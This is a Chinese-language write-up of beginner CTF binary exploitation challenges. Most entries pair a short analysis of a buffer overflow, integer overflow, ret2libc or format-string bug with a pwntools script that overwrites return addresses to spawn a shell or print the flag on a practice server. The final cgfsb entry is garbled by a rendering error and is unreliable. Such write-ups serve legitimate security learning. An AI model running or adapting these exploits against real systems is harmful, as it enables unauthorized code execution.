所谓总结,就是再做一遍!以达到熟能生巧之境界!
0x01 level0
解题思路:
ret2text
1.checksec ,文件为amd64位格式,进开启可NX;
2.IDA Pro F5反编译,main程序调用vulnerable_function,vulnerable_function中调用read读取用户输入,存在缓冲区溢出;
3.程序代码中由callsystem函数,运行systerm("/bin/sh"),找到地址,直接利用。
exp:
from pwn import
p=remote(‘111.198.29.45’,‘51334’)
offset=136
payload=‘a’*136+p64(0x0000000000400596)+p64(0x0)
p.sendafter(‘Hello, World\n’,payload)
p.interactive()
0x02 level2
解题思路:
大体与level0的解题思路相同,只是多了一步操作,寻找字符串/bin/sh地址。
直接利用vulnerable_function读取缓冲区溢出,通过ebp的地址找到返回地址,覆盖成system 函数的地址,通过IDA Pro 寻找字符串功能,找到字符串/bin/sh的地址。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘57900’)
#p=process(’./level2’)
offset=0x8c
payload=‘a’*0x8c+p32(0x8048320)+p32(0x0)
+p32(0x804A024)
p.sendafter(‘Input:\n’,payload)
p.interactive()
0x03 guess_num
解题思路:IDA反编译,阅读源代码,找到生成随机数的方法,用户名读取字符串却使用了一个字节变量,溢出改写seed[0],通过C程序预先生成。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘35371’)
payload=‘a’*0x20+p64(0x62626262)
print p.recv()
p.sendline(payload)
print p.recv()
p.sendline(‘2’)
print p.recv()
p.sendline(‘1’)
print p.recv()
p.sendline(‘4’)
print p.recv()
p.sendline(‘6’)
print p.recv()
p.sendline(‘1’)
print p.recv()
p.sendline(‘3’)
print p.recv()
p.sendline(‘3’)
print p.recv()
p.sendline(‘2’)
print p.recv()
p.sendline(‘3’)
print p.recv()
p.sendline(‘4’)
print p.recv()
print p.recv()
0x04 intoverflow
反汇编发现,check_password函数中判断输入的password的长度,类型为unsigned int8,即一个字节的无符号数,而读入password的缓冲区大小为0x200,大于一个8位无符号数的表示范围,当长度在(3,8]范围内,即可通过长度检查,因此输入长度大小在(260,265]之间时,会进入下一步操作,此时,strcpy函数将输入的password复制到dest变量中,地址在[ebp-0x14],因此,dest变量中偏移20的地址存放的是ebp,偏移24的地址存放返回地址,将其设置为what_is_this函数的地址,即可输出flag。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘58294’)
ret_addr=0x804868B #what_is_this地址
payload=‘a’*24+p32(ret_addr)+‘b’*232
print p.recv()
p.sendline(‘1’)
print p.recv()
p.sendline(‘a’)
print p.recv()
p.sendline(payload)
print p.recv()
print p.recv()
0x05 0x05 cgpwn
解题思路:
开启了NX,程序中有pwn函数调用system执行语句,利用用户名输入/bin/sh00,将system的执行参数设置位用户名地址。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘35886’)
print p.recv()
p.sendline(’/bin/sh’+p32(0x0))
payload=‘a’*0x2a+p32(0x804855a)+p32(0x804a080)
print payload
p.sendline(payload)
p.interactive()
0x06 when_did_you_born
解题思路:
开启了NX和Canary,变量char v5存储姓名,int64 v6存储出生年份,程序首先读取出生年份,如果不等于1926,则继续,否则退出。接着读取姓名,然后判断变量v6的值是否是1926,如果是则输出flag,因此,利用读取姓名覆盖v6,使之等于1926。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘36364’)
#p=process(’./whenborn’)
p.recv()
p.sendline(‘1999’)
p.recv()
payload=‘aaaaaaaa’+p64(0x00000786)
print payload
p.sendline(payload)
print p.recv()
print p.recv()
0x07 hello_pwn
解题思路:程序读取内容到bss段的地址,然后,判断相邻地址内容是否为1853186401,如果相等,则输出flag。
exp:
from pwn import *
#p=process(’./hello_pwn’)
p=remote(‘111.198.29.45’,‘40098’)
print p.recv()
p.sendline(‘aaaa’+p64(0x6E756161))
print p.recv()
print p.recv()
0x08 level3
解题思路:
ret2libc
给的文件里有程序和so链接库,程序中调用write函数向标准输出打印内容,so中有system函数,和/bin/sh字符串,但是开启了地址随机化,每次加载的地址不通,因此,利用write输出函数真实地址,减去so中的地址,得到基址,再次覆盖返回值,执行system。
exp:
from pwn import *
p=remote(‘111.198.29.45’,‘40367’)
elf=ELF(’./level3’)
libc=ELF(’./libc_32.so.6’)
write_plt=elf.plt[‘write’]
write_got=elf.got[‘write’]
payload=‘a’*0x88+p32(0x0)+p32(write_plt)+p32(0x08048484)+p32(0x01)+p32(wr ite_got)+p32(0x4)
print p.recv()
p.sendline(payload)
write_addr=u32(p.recv()[:4])
base_addr=write_addr-libc.sym[‘write’]
print write_addr
print base_addr
system_addr=base_addr+libc.sym[‘system’]
bin_sh_addr=base_addr+0x15902b
payload=‘a’*0x88+p32(0x0)+p32(system_addr)+p32(0x804844B)+p32(bin_sh_addr)
p.sendline(payload)
p.interactive()
readelf读取文件的偏移:readelf -s ./libc_32.so.6 | grep system
strings读取字符串地址:strings -a -t x ./libc32.so.6 | grep “/bin/sh”
0x09 string
解题思路:通过分析,找到运行代码的条件,这里字符串任意地址写入漏洞是主要考点,printf函数的第一个参数为当前参数,"%c%$n",将num1的值写入偏移num2的参数([地址])内,即printf的第num2+1参数指向的地址。由于printf的栈帧在调用函数栈帧之上,因此,当printf参数地址逐渐增加,可以读写到调用函数的栈内变量。printf(“AAAA-%p”);打印的是AAAA-[“printf第二个参数”(偏移为1的参数)]
0x0A getshell
解题思路:直接nc连接。
0x0B cgfsb
解题思路:
开启了NX和canary,不能直接溢出返回地址,变量v5的大小为整型变量大小(2个字节),却读入了10个字节,多出的内容写入了临近的变量v6、v7,将v6和v7的内容修改为bss段pwnme的地址,利用printf(v8) v8="%8c%8KaTeX parse error: Undefined control sequence: \n at position 133: …l me your name:\̲n̲") p.sendline(…n"
p.sendline(payload)
print p.recv()
print p.recv()
复杂的情况反而简短。